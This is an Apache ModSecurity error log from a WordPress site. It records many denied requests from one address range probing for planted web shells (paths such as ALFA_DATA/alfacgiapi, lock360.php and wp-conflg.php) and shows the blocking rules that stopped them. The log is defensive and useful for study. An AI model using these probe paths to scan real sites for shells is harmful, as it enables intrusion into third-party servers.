[Sat Apr 25 13:57:07.750081 2026] [:error] [pid 44321:tid 44403] [client 193.37.32.139:34711] [client 193.37.32.139] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/"] [unique_id "aexXs41b5lV-asWa_Y6UoAAAAJQ"]
[Sat Apr 25 13:57:07.950871 2026] [:error] [pid 46083:tid 46099] [client 193.37.32.150:25901] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/column/"] [unique_id "aexXszxw_Zq74vWdjmnqFwAAAQw"]
[Sat Apr 25 13:57:08.238079 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.166:33269] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/video/"] [unique_id "aexXtDmFqSpku_dij8jDXwAAAFM"]
[Sat Apr 25 13:57:08.756081 2026] [:error] [pid 44319:tid 44349] [client 193.37.32.109:39881] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/pattern/"] [unique_id "aexXtMzJPAVLUb2pWtKXCgAAABQ"]
[Sat Apr 25 13:57:09.458151 2026] [:error] [pid 44320:tid 44378] [client 193.37.32.152:52689] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/system.php"] [unique_id "aexXtTmFqSpku_dij8jDYwAAAFY"]
[Sat Apr 25 13:57:10.153652 2026] [:error] [pid 44320:tid 44365] [client 193.37.32.137:50489] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/advanced-product-fields-for-woocommerce/db.php"] [unique_id "aexXtjmFqSpku_dij8jDZAAAAEk"]
[Sat Apr 25 13:57:10.356541 2026] [:error] [pid 44319:tid 44345] [client 193.37.32.165:41163] [client 193.37.32.165] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-links-opml.php"] [unique_id "aexXtszJPAVLUb2pWtKXDAAAABA"]
[Sat Apr 25 13:57:10.570917 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.155:31447] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/wp-blog.php"] [unique_id "aexXto1b5lV-asWa_Y6UogAAAIo"]
[Sat Apr 25 13:57:10.767911 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.176:26605] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/ALFA_DATA/alfacgiapi/"] [unique_id "aexXto1b5lV-asWa_Y6UowAAAJE"]
[Sat Apr 25 13:57:15.970493 2026] [:error] [pid 44319:tid 44348] [client 193.37.32.148:56195] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/theme-check/main.php"] [unique_id "aexXu8zJPAVLUb2pWtKXDwAAABM"]
[Sat Apr 25 13:57:16.173853 2026] [:error] [pid 44425:tid 44428] [client 193.37.32.166:61987] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfour/"] [unique_id "aexXvCUl-VlItvY2tR-NIwAAAME"]
[Sat Apr 25 13:57:21.522921 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.158:49925] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-update.php"] [unique_id "aexXwY1b5lV-asWa_Y6UpgAAAIE"]
[Sat Apr 25 13:57:26.956784 2026] [:error] [pid 44321:tid 44391] [client 193.37.32.164:42519] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/packed.php"] [unique_id "aexXxo1b5lV-asWa_Y6UqQAAAIg"]
[Sat Apr 25 13:57:27.242323 2026] [:error] [pid 44319:tid 44340] [client 193.37.32.143:20377] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwenty/assets/fonts/inter/"] [unique_id "aexXx8zJPAVLUb2pWtKXFgAAAAs"]
[Sat Apr 25 13:57:27.547365 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.137:32835] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/script-loader-react-refresh.php"] [unique_id "aexXx8zJPAVLUb2pWtKXFwAAAAA"]
[Sat Apr 25 13:57:27.769702 2026] [:error] [pid 44319:tid 44345] [client 193.37.32.172:22539] [client 193.37.32.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/themes/about.php"] [unique_id "aexXx8zJPAVLUb2pWtKXGQAAABA"]
[Sat Apr 25 13:57:28.050560 2026] [:error] [pid 44321:tid 44398] [client 193.37.32.131:22617] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-themes.php"] [unique_id "aexXyI1b5lV-asWa_Y6UqgAAAI8"]
[Sat Apr 25 13:57:29.959787 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.175:64381] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/customize-widgets/"] [unique_id "aexXyY1b5lV-asWa_Y6UrAAAAJE"]
[Sat Apr 25 13:57:30.166215 2026] [:error] [pid 44425:tid 44438] [client 193.37.32.107:21269] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/comments-pagination-next/"] [unique_id "aexXyiUl-VlItvY2tR-NLgAAAMs"]
[Sat Apr 25 13:57:30.642940 2026] [:error] [pid 44320:tid 44360] [client 193.37.32.157:44871] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/install.php"] [unique_id "aexXyjmFqSpku_dij8jDZgAAAEQ"]
[Sat Apr 25 13:57:31.049395 2026] [:error] [pid 46083:tid 46102] [client 193.37.32.142:36307] [client 193.37.32.142] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/certificates/"] [unique_id "aexXyzxw_Zq74vWdjmnqGQAAAQ8"]
[Sat Apr 25 13:57:32.229602 2026] [:error] [pid 44321:tid 44394] [client 193.37.32.163:62057] [client 193.37.32.163] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/nextpage/"] [unique_id "aexXzI1b5lV-asWa_Y6UrQAAAIs"]
[Sat Apr 25 13:57:32.541076 2026] [:error] [pid 44319:tid 44339] [client 193.37.32.176:40325] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/media/"] [unique_id "aexXzMzJPAVLUb2pWtKXHgAAAAo"]
[Sat Apr 25 13:57:32.752585 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.134:25413] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/about.php"] [unique_id "aexXzMzJPAVLUb2pWtKXHwAAABY"]
[Sat Apr 25 13:57:32.955334 2026] [:error] [pid 44321:tid 44404] [client 193.37.32.166:21537] [client 193.37.32.166] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/fields/"] [unique_id "aexXzI1b5lV-asWa_Y6UrgAAAJU"]
[Sat Apr 25 13:57:33.243329 2026] [:error] [pid 44319:tid 44331] [client 193.37.32.144:62981] [client 193.37.32.144] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/accordion/"] [unique_id "aexXzczJPAVLUb2pWtKXIAAAAAI"]
[Sat Apr 25 13:57:33.579361 2026] [:error] [pid 44319:tid 44336] [client 193.37.32.107:58893] [client 193.37.32.107] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aexXzczJPAVLUb2pWtKXIQAAAAc"]
[Sat Apr 25 13:57:33.777478 2026] [:error] [pid 44320:tid 44368] [client 193.37.32.155:49799] [client 193.37.32.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/separator/"] [unique_id "aexXzTmFqSpku_dij8jDaAAAAEw"]
[Sat Apr 25 13:57:34.073383 2026] [:error] [pid 44320:tid 44373] [client 193.37.32.133:62191] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/post-template/"] [unique_id "aexXzjmFqSpku_dij8jDaQAAAFE"]
[Sat Apr 25 13:57:39.460158 2026] [:error] [pid 44320:tid 44365] [client 193.37.32.164:55359] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/elementor/"] [unique_id "aexX0zmFqSpku_dij8jDbwAAAEk"]
[Sat Apr 25 13:57:39.674293 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.175:61963] [client 193.37.32.175] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/chosen.php"] [unique_id "aexX0zmFqSpku_dij8jDcAAAAFI"]
[Sat Apr 25 13:57:39.973049 2026] [:error] [pid 44320:tid 44361] [client 193.37.32.131:58885] [client 193.37.32.131] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/library/"] [unique_id "aexX0zmFqSpku_dij8jDcQAAAEU"]
[Sat Apr 25 13:57:40.245700 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.138:29093] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/chosen.php"] [unique_id "aexX1DmFqSpku_dij8jDcgAAAEE"]
[Sat Apr 25 13:57:40.637016 2026] [:error] [pid 44320:tid 44373] [client 193.37.32.146:29525] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentytwo/assets/fonts/"] [unique_id "aexX1DmFqSpku_dij8jDcwAAAFE"]
[Sat Apr 25 13:57:40.856010 2026] [:error] [pid 44320:tid 44380] [client 193.37.32.140:42781] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/system_log.php"] [unique_id "aexX1DmFqSpku_dij8jDdAAAAFg"]
[Sat Apr 25 13:57:41.262688 2026] [:error] [pid 46083:tid 46088] [client 193.37.32.146:40405] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/upload.php"] [unique_id "aexX1Txw_Zq74vWdjmnqHAAAAQE"]
[Sat Apr 25 13:57:41.870476 2026] [:error] [pid 44321:tid 44402] [client 193.37.32.134:38851] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/lock360.php"] [unique_id "aexX1Y1b5lV-asWa_Y6UsgAAAJM"]
[Sat Apr 25 13:57:42.128058 2026] [:error] [pid 46083:tid 46103] [client 193.37.32.150:59749] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/wpforms/"] [unique_id "aexX1jxw_Zq74vWdjmnqHQAAARA"]
[Sat Apr 25 13:57:47.468762 2026] [:error] [pid 44320:tid 44371] [client 193.37.32.134:35481] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/navigation-submenu/"] [unique_id "aexX2zmFqSpku_dij8jDegAAAE8"]
[Sat Apr 25 13:57:47.676900 2026] [:error] [pid 44321:tid 44400] [client 193.37.32.148:36495] [client 193.37.32.148] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/neve/assets/apps/dashboard/build/"] [unique_id "aexX241b5lV-asWa_Y6UuAAAAJE"]
[Sat Apr 25 13:57:47.877759 2026] [:error] [pid 44320:tid 44365] [client 193.37.32.158:46011] [client 193.37.32.158] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2025/"] [unique_id "aexX2zmFqSpku_dij8jDewAAAEk"]
[Sat Apr 25 13:57:48.078969 2026] [:error] [pid 44320:tid 44374] [client 193.37.32.177:25145] [client 193.37.32.177] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/group/"] [unique_id "aexX3DmFqSpku_dij8jDfAAAAFI"]
[Sat Apr 25 13:57:48.364315 2026] [:error] [pid 44320:tid 44362] [client 193.37.32.138:29373] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/home-link/"] [unique_id "aexX3DmFqSpku_dij8jDfgAAAEY"]
[Sat Apr 25 13:57:48.579860 2026] [:error] [pid 44320:tid 44360] [client 193.37.32.144:50219] [client 193.37.32.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/wp-conflg.php"] [unique_id "aexX3DmFqSpku_dij8jDfwAAAEQ"]
[Sat Apr 25 13:57:53.832995 2026] [:error] [pid 44319:tid 44338] [client 193.37.32.173:38975] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/m.php"] [unique_id "aexX4czJPAVLUb2pWtKXJwAAAAk"]
[Sat Apr 25 13:57:54.043383 2026] [:error] [pid 44425:tid 44445] [client 193.37.32.176:43557] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/wp-conflg.php"] [unique_id "aexX4iUl-VlItvY2tR-NMQAAANI"]
[Sat Apr 25 13:57:54.250965 2026] [:error] [pid 44320:tid 44377] [client 193.37.32.156:49373] [client 193.37.32.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/src/Content/Type/"] [unique_id "aexX4jmFqSpku_dij8jDggAAAFU"]
[Sat Apr 25 13:57:55.935695 2026] [:error] [pid 44320:tid 44364] [client 193.37.32.136:36283] [client 193.37.32.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "aexX4zmFqSpku_dij8jDhQAAAEg"]
[Sat Apr 25 13:58:01.181680 2026] [:error] [pid 44321:tid 44401] [client 193.37.32.153:57721] [client 193.37.32.153] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/commands/"] [unique_id "aexX6Y1b5lV-asWa_Y6UxgAAAJI"]
[Sat Apr 25 13:58:01.459535 2026] [:error] [pid 46083:tid 46102] [client 193.37.32.164:33553] [client 193.37.32.164] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/namespaced/Core/"] [unique_id "aexX6Txw_Zq74vWdjmnqJAAAAQ8"]
[Sat Apr 25 13:58:01.674459 2026] [:error] [pid 44321:tid 44385] [client 193.37.32.112:49527] [client 193.37.32.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/panel.php"] [unique_id "aexX6Y1b5lV-asWa_Y6UyAAAAII"]
[Sat Apr 25 13:58:06.928646 2026] [:error] [pid 44425:tid 44429] [client 193.37.32.134:27865] [client 193.37.32.134] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/"] [unique_id "aexX7iUl-VlItvY2tR-NMgAAAMI"]
[Sat Apr 25 13:58:07.142232 2026] [:error] [pid 44425:tid 44449] [client 193.37.32.143:59065] [client 193.37.32.143] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/search/"] [unique_id "aexX7yUl-VlItvY2tR-NMwAAANY"]
